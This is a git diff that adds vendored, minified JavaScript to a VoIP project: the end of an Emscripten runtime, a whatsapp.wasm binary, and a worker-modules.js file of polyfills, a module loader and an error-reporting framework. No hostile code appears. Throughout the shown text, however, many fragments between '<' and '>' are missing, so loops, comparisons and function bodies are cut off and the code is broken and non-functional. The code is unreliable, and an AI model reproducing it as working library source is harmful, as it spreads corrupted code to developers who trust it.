t.tm_wday||7},"%U":function(t){var e=t.tm_yday+7-t.tm_wday;return m(Math.floor(e/7),2)},"%V":function(t){var e=Math.floor((t.tm_yday+7-(t.tm_wday+6)%7)/7);if((t.tm_wday+371-t.tm_yday-2)%7<=2&&e++,e){if(e==53){var r=(t.tm_wday+371-t.tm_yday)%7;r!=4&&(r!=3||!Yo(t.tm_year))&&(e=1)}}else{e=52;var n=(t.tm_wday+7-t.tm_yday-1)%7;(n==4||n==5&&Yo(t.tm_year%400-1))&&e++}return m(e,2)},"%w":function(t){return t.tm_wday},"%W":function(t){var e=t.tm_yday+7-(t.tm_wday+6)%7;return m(Math.floor(e/7),2)},"%y":function(t){return(t.tm_year+1900).toString().substring(2)},"%Y":function(t){return t.tm_year+1900},"%z":function(t){var e=t.tm_gmtoff,n=e>=0;return e=Math.abs(e)/60,e=e/60*100+e%60,(n?"+":"-")+("0000"+e).slice(-4)},"%Z":function(t){return t.tm_zone},"%%":function(){return"%"}};i=i.replace(/%%/g,"\0\0");for(var s in h)i.includes(s)&&(i=i.replace(new RegExp(s,"g"),h[s](a)));i=i.replace(/\0\0/g,"%");var y=Dt(i,!1);return y.length>n?0:(ri(y,t),y.length-1)},ai=function(t,n,r,o,a){return oi(t,n,r,o)};function ii(e){var t=y["_"+e];return G(t,"Cannot call unknown function "+e+", make sure it is exported"),t}var li=function(t){var e=It(t)+1,n=il(e);return Io(t,n,e),n},si=function(t,n,r,o,a){var e={string:function(t){var e=0;return t!=null&&t!==0&&(e=li(t)),e},array:function(t){var e=il(t.length);return ri(t,e),e}};function i(e){return n==="string"?jt(e):n==="boolean"?!!e:e}var l=ii(t),s=[],u=0;if(G(n!=="array",'Return type should not be "array".'),o)for(var c=0;c>7)}function di(e){for(var t={i:"i32",j:"i64",f:"f32",d:"f64",p:"i32"},n={parameters:[],results:e[0]=="v"?[]:[t[e[0]]]},r=1;r0)return;if(D||qs(),D){C(y),_e(),startWorker(y);return}if(pe(),Ce>0)return;function e(){Ws||(Ws=!0,y.calledRun=!0,!V&&(_e(),C(y),y.onRuntimeInitialized&&y.onRuntimeInitialized(),G(!y._main,'compiled without a main, but one is present. if you added it from JS, use Module["onRuntimeInitialized"]'),fe()))}y.setStatus?(y.setStatus("Running..."),setTimeout(function(){setTimeout(function(){y.setStatus("")},1),e()},1)):e(),ie()}function Vs(){var e=A,t=F,n=!1;A=F=function(t){n=!0};try{Fi(0),["stdout","stderr"].forEach(function(e){var t=zt.analyzePath("/dev/"+e);if(t){var r=t.object,o=r.rdev,a=$t.ttys[o];a&&a.output&&a.output.length&&(n=!0)}})}catch(e){}A=e,F=t,n&&dn("stdio streams had content in them that was not flushed. you should set EXIT_RUNTIME to 1 (see the Emscripten FAQ), or make sure to emit a newline when you printf etc.")}if(y.preInit)for(typeof y.preInit=="function"&&(y.preInit=[y.preInit]);y.preInit.length>0;)y.preInit.pop()();return Us(),a.ready}})();typeof l=="object"&&typeof i=="object"?i.exports=d:typeof define=="function"&&define.amd&&define([],function(){return d})}),34); \ No newline at end of file diff --git a/src/Voip/assets/wasm/whatsapp.wasm b/src/Voip/assets/wasm/whatsapp.wasm new file mode 100644 index 00000000000..37d39741d77 Binary files /dev/null and b/src/Voip/assets/wasm/whatsapp.wasm differ diff --git a/src/Voip/assets/wasm/worker-modules.js b/src/Voip/assets/wasm/worker-modules.js new file mode 100644 index 00000000000..851bf8c29a5 --- /dev/null +++ b/src/Voip/assets/wasm/worker-modules.js @@ -0,0 +1,273 @@ +;/*FB_PKG_DELIM*/ + +"use strict";(function(){var e=typeof globalThis!="undefined"&&globalThis||typeof self!="undefined"&&self||typeof global!="undefined"&&global;if(typeof e.AbortController=="undefined"){var t=(function(){function e(){this.__listeners=new Map}return e.prototype=Object.create(Object.prototype),e.prototype.addEventListener=function(e,t,n){if(arguments.length<2)throw new TypeError("TypeError: Failed to execute 'addEventListener' on 'CustomEventTarget': 2 arguments required, but only "+arguments.length+" present.");var r=this.__listeners,o=e.toString();r.has(o)||r.set(o,new Map);var a=r.get(o);a.has(t)||a.set(t,n)},e.prototype.removeEventListener=function(e,t,n){if(arguments.length<2)throw new TypeError("TypeError: Failed to execute 'addEventListener' on 'CustomEventTarget': 2 arguments required, but only "+arguments.length+" present.");var r=this.__listeners,o=e.toString();if(r.has(o)){var a=r.get(o);a.has(t)&&a.delete(t)}},e.prototype.dispatchEvent=function(e){var t=this;if(!(e instanceof Event))throw new TypeError("Failed to execute 'dispatchEvent' on 'CustomEventTarget': parameter 1 is not of type 'Event'.");var n=e.type,r=this.__listeners,o=r.get(n);if(o){var a=function(){var n=i[0],r=i[1];try{typeof n=="function"?n.call(t,e):n&&typeof n.handleEvent=="function"&&n.handleEvent(e)}catch(e){setTimeout(function(){throw e})}r&&r.once&&o.delete(n)};for(var i of o.entries())a()}return!0},e})(),n={};e.AbortSignal=(function(){function e(e){if(e!==n)throw new TypeError("Illegal constructor.");t.call(this),this._aborted=!1}return e.prototype=Object.create(t.prototype),e.prototype.constructor=e,Object.defineProperty(e.prototype,"onabort",{get:function(){return this._onabort},set:function(t){var e=this._onabort;e&&this.removeEventListener("abort",e),this._onabort=t,this.addEventListener("abort",t)}}),Object.defineProperty(e.prototype,"aborted",{get:function(){return this._aborted}}),e})(),e.AbortController=(function(){function e(){this._signal=new AbortSignal(n)}return e.prototype=Object.create(Object.prototype),Object.defineProperty(e.prototype,"signal",{get:function(){return this._signal}}),e.prototype.abort=function(){var e=this.signal;e.aborted||(e._aborted=!0,e.dispatchEvent(new Event("abort")))},e})()}})(); + + + +"use strict";Array.prototype.at==null&&(Array.prototype.at=function(t){var e=parseInt(t,10);return Number.isInteger(e)||(e=0),e>=0&&e1?n(arguments[1]):0,l=i<0?Math.max(a+i,0):i,s=Number.isNaN(r);l=0?1:-1}if(!Array.prototype.values){var o=(function(){function e(e){if(this.$1=void 0,this.$2=0,e==null)throw new TypeError("Cannot convert undefined or null to object");this.$1=Object(e)}var t=e.prototype;return t.next=function(){if(this.$1==null||this.$2>=this.$1.length)return this.$1=void 0,{value:void 0,done:!0};var e=this.$1[this.$2];return this.$2++,{value:e,done:!1}},t[typeof Symbol=="function"?Symbol.iterator:"@@iterator"]=function(){return this},e})();Array.prototype.values=function(){return new o(this)}}Array.prototype[typeof Symbol=="function"?Symbol.iterator:"@@iterator"]||(Array.prototype[typeof Symbol=="function"?Symbol.iterator:"@@iterator"]=Array.prototype.values)})(); +"use strict";Array.prototype.findLast==null&&(Array.prototype.findLast=function(t,n){for(var e=this,r=e.length-1;r>=0;r--){var o=e[r],a=t.call(n,o,r,e);if(a)return o}}); +"use strict";Array.prototype.findLastIndex==null&&(Array.prototype.findLastIndex=function(t,n){for(var e=this,r=e.length-1;r>=0;r--){var o=e[r],a=t.call(n,o,r,e);if(a)return r}return-1}); +"use strict";Array.prototype.toReversed==null&&(Array.prototype.toReversed=function(){return this.slice().reverse()}); +"use strict";Array.prototype.toSorted==null&&(Array.prototype.toSorted=function(t){return this.slice().sort(t)}); +"use strict";Array.prototype.toSpliced==null&&(Array.prototype.toSpliced=function(){var e=this.slice();return e.splice.apply(e,arguments),e}); + +"use strict";if(Array.prototype.with==null){var toIntegerOrInfinity=function(t){return Number.isNaN(t)||t===0?0:t===1/0||t===-1/0?t:Math.trunc(t)};Array.prototype.with=function(e,n){var r=this.length,o=toIntegerOrInfinity(e),a;if(o>=0?a=o:a=r+o,a>=r||a<0){var i=new RangeError("Invalid index");throw i.stack,i}var l=this.slice();return l[a]=n,l}} + +(function(e){e.__t=function(e){return e[0]},e.__w=function(e){return e}})(typeof globalThis!="undefined"?globalThis:typeof global!="undefined"?global:typeof window!="undefined"?window:typeof this!="undefined"?this:typeof self!="undefined"?self:{}); +(function(e){var t={},n=function(t,n){if(!t&&!n)return null;var e={};return typeof t!="undefined"&&(e.type=t),typeof n!="undefined"&&(e.signature=n),e},r=function(t,r){return n(t&&/^[A-Z]/.test(t)?t:void 0,r&&(r.params&&r.params.length||r.returns)?"function("+(r.params?r.params.map(function(e){return/\?/.test(e)?"?"+e.replace("?",""):e}).join(","):"")+")"+(r.returns?":"+r.returns:""):void 0)},o=function(t,n,r){return t},a=function(t,n,o){if("typechecks"in __transform_includes){var e=r(n?n.name:void 0,o);e&&__w(t,e)}return t},i=function(t,n,r){return r.apply(t,n)},l=function(n,r,o,a,i){if(i){i.callId||(i.callId=i.module+":"+(i.line||0)+":"+(i.column||0));var e=i.callId;t[e]=(t[e]||0)+1}return o.apply(n,r)};typeof __transform_includes=="undefined"?(e.__annotator=o,e.__bodyWrapper=i):(e.__annotator=a,"codeusage"in __transform_includes?(e.__annotator=o,e.__bodyWrapper=l,e.__bodyWrapper.getCodeUsage=function(){return t},e.__bodyWrapper.clearCodeUsage=function(){t={}}):e.__bodyWrapper=i)})(typeof globalThis!="undefined"?globalThis:typeof global!="undefined"?global:typeof window!="undefined"?window:typeof this!="undefined"?this:typeof self!="undefined"?self:{}); +self.__DEV__=self.__DEV__||0,self.emptyFunction=function(){}; + + + +(function(e,t){var n="keys",r="values",o="entries",a=(function(){var e=l(Array),a;return e||(a=(function(){"use strict";function e(e,t){this.$1=e,this.$2=t,this.$3=0}var a=e.prototype;return a.next=function(){if(this.$1==null)return{value:t,done:!0};var e=this.$1,a=this.$1.length,i=this.$3,l=this.$2;if(i>=a)return this.$1=t,{value:t,done:!0};if(this.$3=i+1,l===n)return{value:i,done:!1};if(l===r)return{value:e[i],done:!1};if(l===o)return{value:[i,e[i]],done:!1}},a[typeof Symbol=="function"?Symbol.iterator:"@@iterator"]=function(){return this},e})()),{keys:e?function(e){return e.keys()}:function(e){return new a(e,n)},values:e?function(e){return e.values()}:function(e){return new a(e,r)},entries:e?function(e){return e.entries()}:function(e){return new a(e,o)}}})(),i=(function(){var e=l(String),n;return e||(n=(function(){"use strict";function e(e){this.$1=e,this.$2=0}var n=e.prototype;return n.next=function(){if(this.$1==null)return{value:t,done:!0};var e=this.$2,n=this.$1,r=n.length;if(e>=r)return this.$1=t,{value:t,done:!0};var o,a=n.charCodeAt(e);if(a<55296||a>56319||e+1===r)o=n[e];else{var i=n.charCodeAt(e+1);i<56320||i>57343?o=n[e]:o=n[e]+n[e+1]}return this.$2=e+o.length,{value:o,done:!1}},n[typeof Symbol=="function"?Symbol.iterator:"@@iterator"]=function(){return this},e})()),{keys:function(){throw TypeError("Strings default iterator doesn't implement keys.")},values:e?function(e){return e[typeof Symbol=="function"?Symbol.iterator:"@@iterator"]()}:function(e){return new n(e)},entries:function(){throw TypeError("Strings default iterator doesn't implement entries.")}}})();function l(e){return typeof e.prototype[typeof Symbol=="function"?Symbol.iterator:"@@iterator"]=="function"&&typeof e.prototype.values=="function"&&typeof e.prototype.keys=="function"&&typeof e.prototype.entries=="function"}var s=(function(){"use strict";function e(e,t){this.$1=e,this.$2=t,this.$3=Object.keys(e),this.$4=0}var a=e.prototype;return a.next=function(){var e=this.$3.length,a=this.$4,i=this.$2,l=this.$3[a];if(a>=e)return this.$1=t,{value:t,done:!0};if(this.$4=a+1,i===n)return{value:l,done:!1};if(i===r)return{value:this.$1[l],done:!1};if(i===o)return{value:[l,this.$1[l]],done:!1}},a[typeof Symbol=="function"?Symbol.iterator:"@@iterator"]=function(){return this},e})(),u={keys:function(t){return new s(t,n)},values:function(t){return new s(t,r)},entries:function(t){return new s(t,o)}};function c(e,t){return typeof e=="string"?i[t||r](e):Array.isArray(e)?a[t||r](e):e[typeof Symbol=="function"?Symbol.iterator:"@@iterator"]?e[typeof Symbol=="function"?Symbol.iterator:"@@iterator"]():u[t||o](e)}Object.assign(c,{KIND_KEYS:n,KIND_VALUES:r,KIND_ENTRIES:o,keys:function(t){return c(t,n)},values:function(t){return c(t,r)},entries:function(t){return c(t,o)},generic:u.entries}),e.FB_enumerate=c})(typeof global=="object"?global:typeof this=="object"?this:typeof window=="object"?window:typeof self=="object"?self:{}); + + + + + +"use strict";(function(){if(typeof Element=="undefined"||Element.prototype.scroll)return;function e(e,t){if(t===void 0&&(t=!1),e.length!==0){var n=e[0],r=e[1];if(n=Number(n)||0,r=Number(r)||0,e.length===1){var o=e[0];if(o==null)return;n=o.left,r=o.top,n!==void 0&&(n=Number(n)||0),r!==void 0&&(r=Number(r)||0)}n!==void 0&&(this.scrollLeft=(t?this.scrollLeft:0)+n),r!==void 0&&(this.scrollTop=(t?this.scrollTop:0)+r)}}Element.prototype.scroll=Element.prototype.scrollTo=function(){e.call(this,arguments)},Element.prototype.scrollBy=function(){e.call(this,arguments,!0)}})(); + + + +"use strict";function*generator(){yield 1}function getIterables(){return[generator(),[].values(),[].keys(),[].entries(),new Uint8Array([]).values(),new Uint8Array([]).keys(),new Uint8Array([]).entries(),new Map().values(),new Map().keys(),new Map().entries(),new Set().values(),new Set().keys(),new Set().entries()]}function polyfillIteratorFunctions(){var e=new Set;getIterables().forEach(function(t){e.add(Object.getPrototypeOf(t))}),e.forEach(function(e){typeof e.drop!="function"&&(e.drop=function(t){for(var e=0;e=t)break;yield n}}),typeof e.toArray!="function"&&(e.toArray=function(){return Array.from(this)})})}polyfillIteratorFunctions(); +(function(){function e(){if(typeof JSON!="object"||typeof JSON.stringify!="function")return!1;if(typeof navigator=="undefined"||!navigator.userAgent)return!0;var e=navigator.userAgent,t;return e.indexOf("Firefox/")>-1?(t=e.match(/Firefox\/([0-9]+)/),t==null||!(parseInt(t[1],10)>=62)):e.indexOf("Edg/")>-1?(t=e.match(/Edg\/([0-9]+)/),t==null||!(parseInt(t[1],10)>=79)):e.indexOf("Chrome/")>-1?(t=e.match(/Chrome\/([0-9]+)/),t==null||!(parseInt(t[1],10)>=66)):e.indexOf("CriOS/")>-1?(t=e.match(/CriOS\/([0-9]+)/),t==null||!(parseInt(t[1],10)>=66)):e.indexOf("Safari/")>-1&&e.indexOf("Version/")>-1?(t=e.match(/Version\/([0-9]+)/),t==null||!(parseInt(t[1],10)>=12)):!0}function t(){return JSON.stringify(["\u2028\u2029"])==='["\\u2028\\u2029"]'}e()&&!t()&&(JSON.stringify=(function(e){var t=/\u2028/g,n=/\u2029/g;return function(o,a,i){var r=e.call(this,o,a,i);return r&&(-1t.size)return!1;for(var e of this)if(!t.has(e))return!1;return!0}); +"use strict";Set.prototype.isSupersetOf==null&&(Set.prototype.isSupersetOf=function(t){if(this.size>0,t=String(t||" "),this.length>e?String(this):(e=e-this.length,e>t.length&&(t+=t.repeat(e/t.length)),t.slice(0,e)+String(this))}),String.prototype.padEnd||(String.prototype.padEnd=function(e,t){return e=e>>0,t=String(t||" "),this.length>e?String(this):(e=e-this.length,e>t.length&&(t+=t.repeat(e/t.length)),String(this)+t.slice(0,e))}); +if(!String.prototype.matchAll){var MAX_CALLS_TO_EXEC=250;String.prototype.matchAll=function(e){if(!e.global){var n=new TypeError("String.prototype.matchAll called with a non-global RegExp argument");throw n.stack,n}for(var r=String(this),o=[],a,i=0;(a=e.exec(r))&&i++=0||(r[o]=e[o]);return r},t.taggedTemplateLiteralLoose=function(e,t){return t||(t=e.slice(0)),e.raw=t,e},t.bind=Function.prototype.bind,t.wrapAsyncGenerator=function(e){return function(){return new o(e.apply(this,arguments))}},t.awaitAsyncGenerator=function(e){return new r(e)},t.asyncIterator=function(e){var t;if(typeof Symbol!="undefined"&&((typeof Symbol!="function"||Symbol.asyncIterator)&&(t=e[typeof Symbol=="function"?Symbol.asyncIterator:"@@asyncIterator"],t!=null)||(typeof Symbol!="function"||Symbol.iterator)&&(t=e[typeof Symbol=="function"?Symbol.iterator:"@@iterator"],t!=null)))return t.call(e);var n=new TypeError("Object is not async iterable");throw n.stack,n},t.asyncGeneratorDelegate=function(e,t){var n={},r=!1;function o(n,o){return r=!0,o=new Promise(function(t){t(e[n](o))}),{done:!1,value:t(o)}}return typeof Symbol=="function"&&(typeof Symbol!="function"||Symbol.iterator)&&(n[typeof Symbol=="function"?Symbol.iterator:"@@iterator"]=function(){return this}),n.next=function(e){return r?(r=!1,e):o("next",e)},typeof e.throw=="function"&&(n.throw=function(e){if(r)throw r=!1,e;return o("throw",e)}),typeof e.return=="function"&&(n.return=function(e){return r?(r=!1,e):o("return",e)}),n},t.arrayLikeToArray=function(t,n){(n==null||n>t.length)&&(n=t.length);for(var e=0,r=new Array(n);e1?n-1:0),o=1;oee;return n&&delete J[t],n});Object.keys(J).length>0&&(Z=setTimeout(Te()(ne,"_checkFbtVirtualModuleTimeout"),ee)),t.length>0&&se.apply(null,[["FBLogger"],function(e){e("binary_transparency","vmod_timeout").warn("The following virtual modules are taking over %sms to be defined: %s...",ee,t.join(",").slice(0,300))}])}function re(e,t,n){if(X&&n!=null&&n&y){var r=e+Y;t.push(r),te(r)}}function oe(e,n,o,i,l,s,d){n===void 0?(n=[],o=e,e=ue()):o===void 0&&(o=n,R.call(e)==="[object Array]"?(n=e,e=ue(n.join(","))):n=[]);var m={cancel:le.bind(this,e)},p=ae(e);if(!n&&!o&&s!=null&&s!==0)return p.refcount+=s,m;if(X&&(e in J&&delete J[e],Array.isArray(n)&&re(e,n,i)),a[e]={id:e,dependencies:n,meta:d,category:i,defined:D?$():null,factoryTime:null,factoryStart:null,factoryEnd:null,factoryRun:!1},p.dependencies&&p.reload!==!0)return e.indexOf(":")!==-1?c++:u++,m;s!=null&&s!==0&&(p.refcount+=s);var _=n.map(ae);if(p.factory=o,p.dependencies=_,p.context=l,p.special=i,(p.nonJSDeps||he(p))&&(p.nonJSDeps=!1,z(p)),Ce(p),r.length>0){var f=r;r=[];var g=!ye(p)&&t.ScheduleJSWork?t.ScheduleJSWork:Ie;g(function(){if(I){for(var e=0;e0;)A.call(null,f.pop().id)})()}return m}function ae(e){var t=o[e];return t||(t=ie(e,0),o[e]=t,t)}function ie(e,t,n){var r={id:e,refcount:t,exports:n!=null?n:null,defaultExport:n!=null?n:v,factory:void 0,factoryLength:-1,factoryFinished:!1,dependencies:void 0,depPosition:0,context:void 0,special:0,hasError:!1,error:null,ranRecursiveSideEffects:!1,sideEffectDependencyException:null,nextDepWaitingHead:null,nextDepWaitingNext:null,tarjanGeneration:-1,tarjanLow:0,tarjanIndex:0,tarjanOnStack:!1,nonJSDeps:!1};return r}function le(e){if(o[e]){var t=o[e];if(o[e]=null,t.dependencies)for(var n=0;n=e.dependencies.length}function _e(e){e.depPosition++,Ce(e)}function fe(e){var t=e.nextDepWaitingHead;for(e.nextDepWaitingHead=null;t!=null;){var n=t;n.nonJSDeps&&z(e),t=n.nextDepWaitingNext,n.nextDepWaitingNext=null;var r=!o[n.id];r||_e(n)}}function ge(e){return e.special&d}function he(e){return e.special&f}function ye(e){return e.special&C}function Ce(e){for(;e.dependencies!=null&&e.depPosition1?r-1:0),a=1;a1?t-1:0),r=1;r2?o-2:0),i=2;i0&&(o+=" Params: "+n.map(function(e){return"%s"}).join(", "));var a=(e||(e=r("Env"))).show_invariant_decoder===!0?"visit "+c(t,n)+" to see the full message.":"";return{message:o,decoderLink:a}}function c(e,t){var n="https://www.internalfb.com/intern/invariant/"+e+"/";return t.length>0&&(n+="?"+t.map(function(e,t){return"args["+t+"]="+encodeURIComponent(String(e))}).join("&")),n}l.default=s}),98); +__d("ArbiterToken",["invariant"],(function(t,n,r,o,a,i,l,s){"use strict";var e=(function(){function e(e,t){this.unsubscribe=function(){for(var e=0;e1?n-1:0),o=1;ob+h){var r=t-y;for(var o of C){var a=o[0],i=o[1];i.lastAccessed":"",I;function T(e){var t,n=e.error!=null?E(e.error):s(e.message||"");n.fileName==null&&e.filename!=null&&(n.fileName=e.filename),n.line==null&&e.lineno!=null&&(n.line=e.lineno),n.column==null&&e.colno!=null&&(n.column=e.colno),n.guardList=[k],n.loggingSource="ONERROR",(t=I)===null||t===void 0||t.reportError(n)}var D={setup:function(n){typeof t.addEventListener=="function"&&I==null&&(I=n,t.addEventListener("error",T))}},x=[],$={pushGuard:function(t){x.unshift(t)},popGuard:function(){x.shift()},inGuard:function(){return x.length!==0},cloneGuardList:function(){return x.map(function(e){return e.name})},findDeferredSource:function(){for(var e of x)if(e.deferredSource!=null)return e.deferredSource}};function P(e){return e.type!=null?e.type:e.loggingSource=="GUARDED"||e.loggingSource=="ERROR_BOUNDARY"||e.name=="SyntaxError"?"fatal":e.loggingSource=="ONERROR"&&e.message.indexOf("ResizeObserver loop")>=0||e.stack!=null&&e.stack.indexOf("chrome-extension://")>=0?"warn":"error"}var N=[],M=(function(){function e(){this.metadata=[].concat(N)}var t=e.prototype;return t.addEntries=function(){var e;return(e=this.metadata).push.apply(e,arguments),this},t.addEntry=function(t,n,r){return this.metadata.push([t,n,r]),this},t.isEmpty=function(){return this.metadata.length===0},t.clearEntries=function(){this.metadata=[]},t.format=function(){var e=[];return this.metadata.forEach(function(t){if(t&&t.length){var n=t.map(function(e){return e!=null?String(e).replace(/:/g,"_"):""}).join(":");e.push(n)}}),e},t.getAll=function(){return this.metadata},e.addGlobalMetadata=function(t,n,r){N.push([t,n,r])},e.getGlobalMetadata=function(){return N},e.unsetGlobalMetadata=function(t,n){N=N.filter(function(e){return!(Array.isArray(e)&&e[0]===t&&e[1]===n)})},e})(),w={debug:1,info:2,warn:3,error:4,fatal:5};function A(e,t){var n,r;if(!Object.isFrozen(e)){t.type&&(!e.type||w[e.type]>w[t.type])&&(e.type=t.type);var o=t.metadata;if(o!=null){var a,i=(a=e.metadata)!==null&&a!==void 0?a:new M;o!=null&&i.addEntries.apply(i,o.getAll()),e.metadata=i}t.project!=null&&(e.project=t.project),t.errorName!=null&&(e.errorName=t.errorName),t.componentStack!=null&&(e.componentStack=t.componentStack),t.deferredSource!=null&&(e.deferredSource=t.deferredSource),t.blameModule!=null&&(e.blameModule=t.blameModule),t.loggingSource!=null&&(e.loggingSource=t.loggingSource);var l=(n=e.messageFormat)!==null&&n!==void 0?n:e.message,s=(r=e.messageParams)!==null&&r!==void 0?r:[];if(l!==t.messageFormat&&t.messageFormat!=null){var u;l+=" [Caught in: "+t.messageFormat+"]",s.push.apply(s,(u=t.messageParams)!==null&&u!==void 0?u:[])}e.messageFormat=l,e.messageParams=s;var c=t.forcedKey,d=e.forcedKey,m=c!=null&&d!=null?c+"_"+d:c!=null?c:d;e.forcedKey=m}}function F(e){var t;return O((t=e.messageFormat)!==null&&t!==void 0?t:e.message,e.messageParams||[])}function O(e,t){var n=0,r=String(e),o=r.replace(/%s/g,function(){return nq&&U.shift()}function H(e){var t=e.getAllResponseHeaders();if(t!=null&&t.indexOf("X-FB-Debug")>=0){var n=e.getResponseHeader("X-FB-Debug");n&&V(n)}}function G(){return U}var z={add:V,addFromXHR:H,getAll:G},j="abcdefghijklmnopqrstuvwxyz012345";function K(){for(var e=0,t=arguments.length,n=new Array(t),r=0;r>=5;return l}var Q=[/\(([^\s\)\()]+):(\d+):(\d+)\)$/,/@([^\s\)\()]+):(\d+):(\d+)$/,/^([^\s\)\()]+):(\d+):(\d+)$/,/^at ([^\s\)\()]+):(\d+):(\d+)$/],X=/^\w+:\s.*?\n/g;Error.stackTraceLimit!=null&&Error.stackTraceLimit<80&&(Error.stackTraceLimit=80);function Y(e){var t=e.message,n=e.name,r=e.stack;if(r==null)return null;if(n!=null&&t!=null&&t!==""){var o=n+": "+t+"\n";if(r.startsWith(o))return r.substr(o.length);if(r===n+": "+t)return null}if(n!=null){var a=n+"\n";if(r.startsWith(a))return r.substr(a.length)}if(t!=null&&t!==""){var i=": "+t+"\n",l=r.indexOf(i),s=r.substring(0,l);if(/^\w+$/.test(s))return r.substring(l+i.length)}return r.replace(X,"")}function J(e){var t=e.trim(),n=t,r,o,a;if(t.includes("charset=utf-8;base64,"))n="";else{var i;for(var l of Q)if(i=t.match(l),i!=null)break;i!=null&&i.length===4?(r=i[1],o=parseInt(i[2],10),a=parseInt(i[3],10),n=t.substring(0,t.length-i[0].length)):n=t,n=n.replace(/^at /,"").trim()}var s={identifier:n,script:r,line:o,column:a};return s.text=ne(s),s}function Z(e){return e==null||e===""?[]:e.split(/\n\n/)[0].split("\n").map(J)}function ee(e){var t=Y(e);return Z(t)}function te(e){if(e==null||e==="")return null;var t=e.split("\n");return t.splice(0,1),t.map(function(e){return e.trim()})}function ne(e){var t=e.column,n=e.identifier,r=e.line,o=e.script,a=" at "+(n!=null?n:"");return o!=null&&r!=null&&t!=null&&(a+=" ("+o+":"+r+":"+t+")"),a}function re(r){var o,a,i,s,u,c,d,m,p,_,f=ee(r),g=(o=r.taalOpcodes)!==null&&o!==void 0?o:[],h=r.framesToPop;if(h!=null)for(h=Math.min(h,f.length);h-- >0;)g.unshift(l.PREVIOUS_FRAME);var y=(a=r.messageFormat)!==null&&a!==void 0?a:r.message,C=((i=r.messageParams)!==null&&i!==void 0?i:[]).map(function(e){return String(e)}),b=te(r.componentStack),v=b==null?null:b.map(J),S=r.metadata?r.metadata.format():new M().format();S.length===0&&(S=void 0);var R=f.map(function(e){return e.text}).join("\n"),L=(s=r.errorName)!==null&&s!==void 0?s:r.name,E=P(r),k=r.loggingSource,I=r.project,T=(u=r.lineNumber)!==null&&u!==void 0?u:r.line,D=(c=r.columnNumber)!==null&&c!==void 0?c:r.column,x=(d=r.fileName)!==null&&d!==void 0?d:r.sourceURL,$=f.length>0;$&&T==null&&(T=f[0].line),$&&D==null&&(D=f[0].column),$&&x==null&&(x=f[0].script);var N={blameModule:r.blameModule,cause:r.cause,column:D==null?null:String(D),clientTime:Math.floor(Date.now()/1e3),componentStackFrames:v,deferredSource:r.deferredSource!=null?re(r.deferredSource):null,extra:(m=r.extra)!==null&&m!==void 0?m:{},fbtrace_id:r.fbtrace_id,guardList:(p=r.guardList)!==null&&p!==void 0?p:[],hash:K(L,R,E,I,k),isNormalizedError:!0,line:T==null?null:String(T),loggingSource:k,message:W.toReadableMessage(r),messageFormat:y,messageParams:C,metadata:S,name:L,page_time:Math.floor((e||(e=n("performanceNow")))()),project:I,reactComponentStack:b,script:x,serverHash:r.serverHash,stack:R,stackFrames:f,type:E,xFBDebug:z.getAll(),tags:(_=r.tags)!==null&&_!==void 0?_:[],operation:r.operation};r.forcedKey!=null&&(N.forcedKey=r.forcedKey),g.length>0&&(N.taalOpcodes=g);var w=t.location;w&&(N.windowLocationURL=w.href);for(var A in N)N[A]==null&&delete N[A];return N}function oe(e){return e!=null&&typeof e=="object"&&e.isNormalizedError===!0?e:null}var ae={formatStackFrame:ne,normalizeError:re,ifNormalizedError:oe},ie="",le=[],se=[],ue=50,ce=!1,de={history:se,addListener:function(t,n){n===void 0&&(n=!1),le.push(t),n||se.forEach(function(e){var n;return t(e,(n=e.loggingSource)!==null&&n!==void 0?n:"DEPRECATED")})},unshiftListener:function(t){le.unshift(t)},removeListener:function(t){n("removeFromArray")(le,t)},reportError:function(t){var e=ae.normalizeError(t);de.reportNormalizedError(e)},reportNormalizedError:function(t){if(ce)return!1;var e=$.cloneGuardList();if(t.componentStackFrames&&e.unshift(ie),e.length>0&&(t.guardList=e),t.deferredSource==null){var n=$.findDeferredSource();n!=null&&(t.deferredSource=ae.normalizeError(n))}se.length>ue&&se.splice(ue/2,1),se.push(t),ce=!0;for(var r=0;rfe?t.substring(0,fe-3)+"...":t}function Re(e,t){var n,r,o,a,i={appId:Ce(t.appId),cavalry_lid:t.cavalry_lid,access_token:f.access_token,ancestor_hash:e.hash,bundle_variant:(n=t.bundle_variant)!==null&&n!==void 0?n:null,clientTime:ye(e.clientTime),column:e.column,componentStackFrames:ve(e.componentStackFrames),events:e.events,extra:be(e.extra,t.extra),forcedKey:e.forcedKey,frontend_env:(r=t.frontend_env)!==null&&r!==void 0?r:null,guardList:e.guardList,line:e.line,loggingFramework:t.loggingFramework,messageFormat:Se(e.messageFormat),messageParams:e.messageParams.map(Se),name:e.name,sample_weight:Ce(t.sample_weight),script:e.script,site_category:t.site_category,stackFrames:ve(e.stackFrames),type:e.type,page_time:Ce(e.page_time),project:e.project,push_phase:t.push_phase,report_source:t.report_source,report_source_ref:t.report_source_ref,rollout_hash:(o=t.rollout_hash)!==null&&o!==void 0?o:null,script_path:t.script_path,server_revision:Ce(t.server_revision),spin:Ce(t.spin),svn_rev:String(t.client_revision),additional_client_revisions:Array.from((a=t.additional_client_revisions)!==null&&a!==void 0?a:[]).map(ye),taalOpcodes:e.taalOpcodes==null?null:e.taalOpcodes.map(function(e){return e}),web_session_id:t.web_session_id,version:"3",xFBDebug:e.xFBDebug,tags:e.tags},l=e.blameModule,s=e.deferredSource;return l!=null&&(i.blameModule=String(l)),s&&s.stackFrames&&(i.deferredSource={stackFrames:ve(s.stackFrames)}),e.metadata&&(i.metadata=e.metadata),e.loadingUrls&&(i.loadingUrls=e.loadingUrls),e.serverHash!=null&&(i.serverHash=e.serverHash),e.windowLocationURL!=null&&(i.windowLocationURL=e.windowLocationURL),e.loggingSource!=null&&(i.loggingSource=e.loggingSource),i}function Le(e,t,n){var r;if(he++,t.sample_weight===0)return!1;var o=R.shouldLog(e);if(o==null||(r=t.projectBlocklist)!==null&&r!==void 0&&r.includes(e.project))return!1;var a=Re(e,t);return Object.assign(a,{ancestors:ge.slice(),clientWeight:ye(o),page_position:ye(he)}),ge.length<15&&["fatal","error"].includes(e.type)&&ge.push(e.hash),n(a),!0}var Ee={createErrorPayload:Re,postError:Le},ke=null,Ie=!1;function Te(e){if(ke!=null){var t=ke,n=e.reason,r,o=E(n),a=null;if(n!==o&&typeof n=="object"&&n!==null){if(r=Object.keys(n).sort().slice(0,3),typeof n.message!="string"&&typeof n.messageFormat=="string"&&(n.message=n.messageFormat,o=E(n)),typeof n.message!="string"&&typeof n.errorMsg=="string")if(/^\s*\([^<]+)<\/title>(?:(?:.|\n)*

